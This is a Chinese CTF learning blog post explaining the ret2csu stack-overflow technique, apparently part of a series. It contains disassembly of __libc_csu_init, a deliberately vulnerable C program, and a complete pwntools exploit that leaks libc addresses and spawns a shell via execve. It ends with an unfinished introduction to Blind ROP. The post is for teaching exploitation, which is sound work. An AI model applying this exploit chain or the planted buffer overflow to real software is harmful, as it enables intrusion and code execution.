前面介绍了栈溢出的基础操作,现在开始应该才算是入门操作了
ret2csu
原理
我们知道64位的程序,其函数传参时六个参数以内是通过rdi
、rsi
、rdx
、rcx
、r8
、r9
。也就是如果对64位程序进行栈溢出攻击时,我们不是仅仅在栈上布置输入的数据,我们还要找到可以控制以上六个寄存器的gadgets
,而正常情况下我们是很难找到六个寄存器各自对应的gadgets
。这个时候,就需要用到__libc_csu_init
这个函数了。一般情况下的程序在编译时,编译器会自动调用该函数来完成对libc
的初始化操作。也就是大多数程序虽然在编写的时候没有用到该函数,但是编译器会自动为其添加该函数,这些程序也因此都会有这个函数。
下面是我编译的程序反汇编后看到的这个函数的内容:(听说这玩意有很多不同版本,会有一些细节上的不一样,不过大同小异)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| 0000000000401190 <__libc_csu_init>: 401190: 41 57 push r15 401192: 4c 8d 3d df 1f 00 00 lea r15,[rip+0x1fdf] # 403178 <__frame_dummy_init_array_entry> 401199: 41 56 push r14 40119b: 49 89 d6 mov r14,rdx 40119e: 41 55 push r13 4011a0: 49 89 f5 mov r13,rsi 4011a3: 41 54 push r12 4011a5: 41 89 fc mov r12d,edi 4011a8: 55 push rbp 4011a9: 48 8d 2d d0 1f 00 00 lea rbp,[rip+0x1fd0] # 403180 <__do_global_dtors_aux_fini_array_entry> 4011b0: 53 push rbx 4011b1: 4c 29 fd sub rbp,r15 4011b4: 48 83 ec 08 sub rsp,0x8 4011b8: e8 43 fe ff ff call 401000 <_init> 4011bd: 48 c1 fd 03 sar rbp,0x3 4011c1: 74 1b je 4011de <__libc_csu_init+0x4e> 4011c3: 31 db xor ebx,ebx 4011c5: 0f 1f 00 nop DWORD PTR [rax] 4011c8: 4c 89 f2 mov rdx,r14 4011cb: 4c 89 ee mov rsi,r13 4011ce: 44 89 e7 mov edi,r12d 4011d1: 41 ff 14 df call QWORD PTR [r15+rbx*8] 4011d5: 48 83 c3 01 add rbx,0x1 4011d9: 48 39 dd cmp rbp,rbx 4011dc: 75 ea jne 4011c8 <__libc_csu_init+0x38> 4011de: 48 83 c4 08 add rsp,0x8 4011e2: 5b pop rbx 4011e3: 5d pop rbp 4011e4: 41 5c pop r12 4011e6: 41 5d pop r13 4011e8: 41 5e pop r14 4011ea: 41 5f pop r15 4011ec: c3 ret
|
仔细观察一下就可以发现,我们可以通过0x4011e2
处的 pop链 和 0x4011c8
处的 mov链 控制程序执行一个已知地址的函数内容。
(ps:之所以控制的是edi
而不是rdi
寄存器却还能用来给函数传参是因为这里rdi
寄存器的高三十二位值为0,可以自己编译一个小程序调试查看)
并且因为程序在执行时其实是cpu在执行程序中对应的机器码,所以最后的pop链其实可以通过控制地址偏移来实现不一样的pop链。
比如说,我们劫持rip
后,控制地址为0x4011e5
,此时将要执行的内容为:
1 2 3 4 5
| 4011e5: 5c pop rsp 4011e6: 41 5d pop r13 4011e8: 41 5e pop r14 4011ea: 41 5f pop r15 4011ec: c3 ret
|
example
下面用实例演示对__libc_csu_init
中的gadgets
的利用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| #include <stdio.h> #include <stdlib.h> #include <unistd.h>
void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 512); }
int main(int argc, char** argv) { write(STDOUT_FILENO, "Hello, World\n", 13); vulnerable_function(); return 0; }
|
程序下载:level5
将其作为64位程序进行编译,并且开启堆栈不可执行(NX)保护。
(注:另外注意,获取shell用的shellcode一般是调用execve(‘/bin/sh’,0,0)函数,因为system函数会受本地环境变量影响导致不可用。)
该程序在read()
时明显存在溢出,但是因为程序非常简单,所以无法找到其他直接控制传参寄存器的gadgets
。所以我们覆盖返回地址为__libc_csu_init
中的gadgets
,然后布置相关参数。
这里的攻击思路是,先调用write()
泄露got
表中已经绑定的函数地址,然后查找到对应libc的版本计算出execve()
的地址,然后通过read()
将/bin/sh
和execve()的地址
写到bss
段,最后再调用execve()
获取shell。
利用脚本如下:
ps:因为我的本地libc库版本不在LibcSearcher使用的数据库中,
所以这里我是先泄露出需要的地址,然后手动查询libc库,从中获
取相关数据,所以脚本中会出现计算偏移的步骤中直接用的已知值
计算,这些已知值是查询到相关的libc库中对应的基址后写入的)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| from pwn import *
p = process('./level5') elf = ELF('./level5')
context(os='linux',arch='amd64',log_level='debug')
write_got = elf.got['write'] main = elf.symbols['main'] read_got = elf.got['read'] libc_start_main_got = elf.got['__libc_start_main'] bss_addr = elf.bss() pop_ret = 0x4011e2 mov_call = 0x4011c8 execve_offset = 0xcb140
print(p.recv())
def csu(a1,a2,a3,symbol_call): payload = 'a'*0x88 payload += p64(pop_ret) payload += p64(0) + p64(1) + p64(a1) + p64(a2) + p64(a3) + p64(symbol_call) payload += p64(mov_call) payload += 'a'*56 payload += p64(main) p.sendline(payload)
print("泄露 write 地址") csu(1,write_got,8,write_got) write_addr = u64(p.recv()[:8]) print(hex(write_addr))
print("泄露 read 地址") csu(1,read_got,8,write_got) tmp = p.recv() print(tmp.encode('hex'))
print("泄露 libc_start_main 地址") csu(1,libc_start_main_got,8,write_got) libc_addr = u64(p.recv()[:8]) print(hex(libc_addr))
libcbase = libc_addr - 0x026d20 system_addr = 0x048870 + libcbase bin_sh = 0x1881ac + libcbase execve_addr = execve_offset + libcbase
csu(0,bss_addr,16,read_got) p.send( '/bin/sh\x00' + p64(execve_addr))
csu(bss_addr,0,0,bss_addr+8)
p.interactive()
|
Blind ROP(盲打pwn)
去实战刷题发现,这东西姿势太多,真的顶不住啊,还是先把例题手撸一遍叭emmm
u1s1,我为啥会觉得后面的高级ROP里面的SROP
挺简单的放在这里这个位置其实就挺好,这玩意和接下来的dl_runtime_resolve
一起放高级pwn,单纯的pwn小白个人感觉,如果有大佬在小白blog里无聊翻到这里请一笑略过
这里就不像ctf-wiki
那样讲的写的那么细了,就用小白入门的方式做个记录。
Blind Pwn 原理
核心思想
一个字————猜!!!。什么花里胡哨的paper,其实中心思想就是 盲猜 23333.
鄙人汐小鹰赌你的程序有!漏!洞!
当然,不能瞎吉儿猜,要有理有据的猜才行,毕竟有漏洞无伤大雅,谁写的程序还能没点毛病,关键是这个洞要能被攻击者测试出来,并且利用它实现特殊目的,它才能算是个有用的洞对不对。
必要条件
- 源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
- 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的。
攻击过程
- 测试栈溢出长度,以及是否存在格式化字符串漏洞
- 枚举一个可用的返回地址,该地址可用的判断条件是只要程序运行到这个地址,一定会出现什么特征,并能让攻击者知晓
- 枚举一个
gadget
,一般是libc_csu_init
的结尾那个gadget
下篇-未完待续